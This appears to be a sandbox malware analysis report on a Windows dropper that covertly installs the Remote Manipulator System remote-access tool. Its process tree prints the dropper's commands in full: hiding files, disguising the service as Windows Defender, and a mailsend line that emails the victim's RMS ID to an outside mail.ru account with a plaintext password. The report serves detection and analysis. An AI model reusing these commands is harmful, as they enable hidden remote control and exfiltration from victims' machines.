rms | 793135f920a0b239cff6880c6d9b939a5e2f26e11c063ce1b3b1f35c30e27aff

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2024 09:51

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General

Target

de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
Size

4.5MB
MD5

de2a25f8ead1eab33b2648789c06531f
SHA1

24da52206a2b4a09ef84da764cd4550e5ffb7cec
SHA256

793135f920a0b239cff6880c6d9b939a5e2f26e11c063ce1b3b1f35c30e27aff
SHA512

63f5c043a8128bb406cc67bf5329d61f7eb21c9052deddb143badb2fd830565635e4738cce80190766a8f914ca0f3265818e3985967b3033d9668c29dd1f8ea0
SSDEEP

98304:HKF7KQF1iEaGzM038RzYf0ML2x5tTDaLclizt5CJ:HS7KQrLM/RzYI7Da4Ic

Score

10^/10

rms aspackv2 discovery evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

1308 attrib.exe
4916 attrib.exe

pid	process
1308	attrib.exe
4916	attrib.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
C:\Program Files (x86)\System\vp8encoder.dll	acprotect
C:\Program Files (x86)\System\vp8decoder.dll	acprotect

ASPack v2.12-2.42 2 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
C:\Program Files (x86)\System\rfusclient.exe	aspack_v212_v242

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 8 IoCs

Processes:

rutserv.exerutserv.exerutserv.exerutserv.exerfusclient.exerfusclient.exerfusclient.exemailsend.exe

pid process

1520 rutserv.exe
540 rutserv.exe
4028 rutserv.exe
4632 rutserv.exe
3648 rfusclient.exe
3080 rfusclient.exe
4644 rfusclient.exe
3916 mailsend.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Program Files (x86)\System\vp8encoder.dll	upx
C:\Program Files (x86)\System\vp8decoder.dll	upx

Drops file in Program Files directory 35 IoCs

Processes:

de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exeattrib.exeattrib.exeattrib.exeattrib.exereg.exeattrib.exeattrib.exeattrib.exe

description	ioc	process
File created	C:\Program Files (x86)\System\mailsend.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\__tmp_rar_sfx_access_check_240616953	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File created	C:\Program Files (x86)\System\id.txt	reg.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	attrib.exe
File created	C:\Program Files (x86)\System\install.vbs	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File created	C:\Program Files (x86)\System\rutserv.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\vp8encoder.dll	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\rfusclient.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\Common Files\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	reg.exe
File created	C:\Program Files (x86)\System\install.bat	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\regedit.reg	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File created	C:\Program Files (x86)\System\vp8decoder.dll	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe

Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exe

pid process

4556 sc.exe
1452 sc.exe
740 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4556	sc.exe
1452	sc.exe
740	sc.exe

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WScript.exetaskkill.exeattrib.exerutserv.exerutserv.exesc.exesc.exerfusclient.exeattrib.exemailsend.exeattrib.exeattrib.exetaskkill.exetimeout.exerutserv.exerfusclient.exede2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exetaskkill.exereg.exeattrib.exeattrib.exerfusclient.exesc.exetimeout.execmd.exetaskkill.exeregedit.exereg.exeattrib.exerutserv.exetimeout.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mailsend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

1700 timeout.exe
2056 timeout.exe
2200 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

5020 taskkill.exe
2960 taskkill.exe
4972 taskkill.exe
3456 taskkill.exe

pid	process
1700	timeout.exe
2056	timeout.exe
2200	timeout.exe

pid	process
5020	taskkill.exe
2960	taskkill.exe
4972	taskkill.exe
3456	taskkill.exe

Modifies registry class 1 IoCs

Processes:

de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe

Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

1388 regedit.exe

pid	process
1388	regedit.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

rutserv.exerutserv.exerutserv.exerutserv.exerfusclient.exemailsend.exe

pid	process
1520	rutserv.exe
1520	rutserv.exe
1520	rutserv.exe
1520	rutserv.exe
1520	rutserv.exe
1520	rutserv.exe
540	rutserv.exe
540	rutserv.exe
4028	rutserv.exe
4028	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
4632	rutserv.exe
3648	rfusclient.exe
3648	rfusclient.exe
3916	mailsend.exe
3916	mailsend.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

rfusclient.exe

pid process

4644 rfusclient.exe

pid	process
4644	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exerutserv.exerutserv.exerutserv.exe

description	pid	process
Token: SeDebugPrivilege	5020	taskkill.exe
Token: SeDebugPrivilege	2960	taskkill.exe
Token: SeDebugPrivilege	4972	taskkill.exe
Token: SeDebugPrivilege	3456	taskkill.exe
Token: SeDebugPrivilege	1520	rutserv.exe
Token: SeDebugPrivilege	4028	rutserv.exe
Token: SeTakeOwnershipPrivilege	4632	rutserv.exe
Token: SeTcbPrivilege	4632	rutserv.exe
Token: SeTcbPrivilege	4632	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

rutserv.exerutserv.exerutserv.exerutserv.exe

pid process

1520 rutserv.exe
540 rutserv.exe
4028 rutserv.exe
4632 rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exeWScript.execmd.exerutserv.exerfusclient.exe

description	pid	process	target process
PID 3520 wrote to memory of 2124	3520	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	WScript.exe
PID 3520 wrote to memory of 2124	3520	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	WScript.exe
PID 3520 wrote to memory of 2124	3520	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	WScript.exe
PID 2124 wrote to memory of 3344	2124	WScript.exe	cmd.exe
PID 2124 wrote to memory of 3344	2124	WScript.exe	cmd.exe
PID 2124 wrote to memory of 3344	2124	WScript.exe	cmd.exe
PID 3344 wrote to memory of 1308	3344	cmd.exe	attrib.exe
PID 3344 wrote to memory of 1308	3344	cmd.exe	attrib.exe
PID 3344 wrote to memory of 1308	3344	cmd.exe	attrib.exe
PID 3344 wrote to memory of 4916	3344	cmd.exe	attrib.exe
PID 3344 wrote to memory of 4916	3344	cmd.exe	attrib.exe
PID 3344 wrote to memory of 4916	3344	cmd.exe	attrib.exe
PID 3344 wrote to memory of 5020	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 5020	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 5020	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 2960	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 2960	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 2960	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 4972	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 4972	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 4972	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 3456	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 3456	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 3456	3344	cmd.exe	taskkill.exe
PID 3344 wrote to memory of 2296	3344	cmd.exe	reg.exe
PID 3344 wrote to memory of 2296	3344	cmd.exe	reg.exe
PID 3344 wrote to memory of 2296	3344	cmd.exe	reg.exe
PID 3344 wrote to memory of 1388	3344	cmd.exe	regedit.exe
PID 3344 wrote to memory of 1388	3344	cmd.exe	regedit.exe
PID 3344 wrote to memory of 1388	3344	cmd.exe	regedit.exe
PID 3344 wrote to memory of 1700	3344	cmd.exe	timeout.exe
PID 3344 wrote to memory of 1700	3344	cmd.exe	timeout.exe
PID 3344 wrote to memory of 1700	3344	cmd.exe	timeout.exe
PID 3344 wrote to memory of 1520	3344	cmd.exe	rutserv.exe
PID 3344 wrote to memory of 1520	3344	cmd.exe	rutserv.exe
PID 3344 wrote to memory of 1520	3344	cmd.exe	rutserv.exe
PID 3344 wrote to memory of 540	3344	cmd.exe	rutserv.exe
PID 3344 wrote to memory of 540	3344	cmd.exe	rutserv.exe
PID 3344 wrote to memory of 540	3344	cmd.exe	rutserv.exe
PID 3344 wrote to memory of 4028	3344	cmd.exe	rutserv.exe
PID 3344 wrote to memory of 4028	3344	cmd.exe	rutserv.exe
PID 3344 wrote to memory of 4028	3344	cmd.exe	rutserv.exe
PID 4632 wrote to memory of 3080	4632	rutserv.exe	rfusclient.exe
PID 4632 wrote to memory of 3080	4632	rutserv.exe	rfusclient.exe
PID 4632 wrote to memory of 3080	4632	rutserv.exe	rfusclient.exe
PID 4632 wrote to memory of 3648	4632	rutserv.exe	rfusclient.exe
PID 4632 wrote to memory of 3648	4632	rutserv.exe	rfusclient.exe
PID 4632 wrote to memory of 3648	4632	rutserv.exe	rfusclient.exe
PID 3344 wrote to memory of 740	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 740	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 740	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 1452	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 1452	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 1452	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 4556	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 4556	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 4556	3344	cmd.exe	sc.exe
PID 3344 wrote to memory of 2056	3344	cmd.exe	timeout.exe
PID 3344 wrote to memory of 2056	3344	cmd.exe	timeout.exe
PID 3344 wrote to memory of 2056	3344	cmd.exe	timeout.exe
PID 3648 wrote to memory of 4644	3648	rfusclient.exe	rfusclient.exe
PID 3648 wrote to memory of 4644	3648	rfusclient.exe	rfusclient.exe
PID 3648 wrote to memory of 4644	3648	rfusclient.exe	rfusclient.exe
PID 3344 wrote to memory of 3152	3344	cmd.exe	reg.exe

Views/modifies file attributes 1 TTPs 7 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

1308 attrib.exe
4916 attrib.exe
2884 attrib.exe
4200 attrib.exe
1932 attrib.exe
3656 attrib.exe
644 attrib.exe

pid	process
1308	attrib.exe
4916	attrib.exe
2884	attrib.exe
4200	attrib.exe
1932	attrib.exe
3656	attrib.exe
644	attrib.exe

C:\Users\Admin\AppData\Local\Temp\de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\System\install.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1308
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\*.*" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5020
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2960
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4972
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3456
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2296
  - - C:\Windows\SysWOW64\regedit.exe
      regedit /s "regedit.reg"
      4⤵
      System Location Discovery: System Language Discovery
      Runs .reg file with regedit
      PID:1388
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 2
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1700
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /silentinstall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1520
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /firewall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:540
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /start
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4028
  - - C:\Windows\SysWOW64\sc.exe
      sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:740
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService obj= LocalSystem type= interact type= own
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1452
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService DisplayName= "Windows_Defender v6.3"
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4556
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 120
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2056
  - - C:\Windows\SysWOW64\reg.exe
      reg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:3152
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 10
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2200
  - - C:\Program Files (x86)\System\mailsend.exe
      mailsend.exe -t [email protected] -attach id.txt,application/txt -sub "RMS" -smtp smtp.mail.ru -port 465 -f [email protected] -name "RMS" -ssl -auth-login -user [email protected] -pass 251103olin -q
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3916
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2884
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4200
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1932
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3656
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:644

C:\Program Files (x86)\System\rutserv.exe
"C:\Program Files (x86)\System\rutserv.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4632
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Program Files (x86)\System\rfusclient.exe
    "C:\Program Files (x86)\System\rfusclient.exe" /tray
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: SetClipboardViewer
    PID:4644
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe" /tray
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\System\install.bat

Filesize
1KB

MD5
3a00cb0db76a38b673ef3e40a250e331

SHA1
d0c2d511af06b1cf447d8ad05ca6c9e7afaf6e1e

SHA256
8f39fafe34285c8f14cbf4b851d84f13495097869cea061c05c1fcdff5c47b7f

SHA512
39a1f80fdc5566f7e5ba40e9ae245030d29fa4f9f3d6060f0cb878bd2341c47c915bda7c36aecf4382c4565326a2c6fce2742b5b86a389cf008790e0a3d5407b

Download Submit
C:\Program Files (x86)\System\install.vbs

Filesize
120B

MD5
c719a030434d3fa96d62868f27e904a6

SHA1
f2f750a752dd1fda8915a47b082af7cf2d3e3655

SHA256
2696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f

SHA512
47a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0

Download Submit
C:\Program Files (x86)\System\mailsend.exe

Filesize
1.2MB

MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
C:\Program Files (x86)\System\regedit.reg

Filesize
12KB

MD5
251212852a073e6fc5fbe3af92f66adb

SHA1
6ee07cb20f57830325c11867e68fea49ae0e87ea

SHA256
f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb

SHA512
f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be

Download Submit
C:\Program Files (x86)\System\rfusclient.exe

Filesize
1.5MB

MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
C:\Program Files (x86)\System\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\vp8decoder.dll

Filesize
155KB

MD5
88318158527985702f61d169434a4940

SHA1
3cc751ba256b5727eb0713aad6f554ff1e7bca57

SHA256
4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

SHA512
5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

Download Submit
C:\Program Files (x86)\System\vp8encoder.dll

Filesize
593KB

MD5
6298c0af3d1d563834a218a9cc9f54bd

SHA1
0185cd591e454ed072e5a5077b25c612f6849dc9

SHA256
81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

SHA512
389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

Download Submit
C:\Users\Admin\AppData\Local\Temp\REG7843.tmp

Filesize
20KB

MD5
4c8339fff773238e20a411f3f69944e6

SHA1
5eef38dd7565a6dfbfea96cc3c253dc8e34bbc0c

SHA256
3636426df758336adb13484c29fbcec868cc4c6c7735b341903751d7199bd4ff

SHA512
63aef088c6dcca7a9b1776acc79f5e1ba159747ef1591ba2b81d19a849c2e120231634ed048b474f463e69f3904c1668977b12f027a29971b597a30af8f5f529

Download Submit
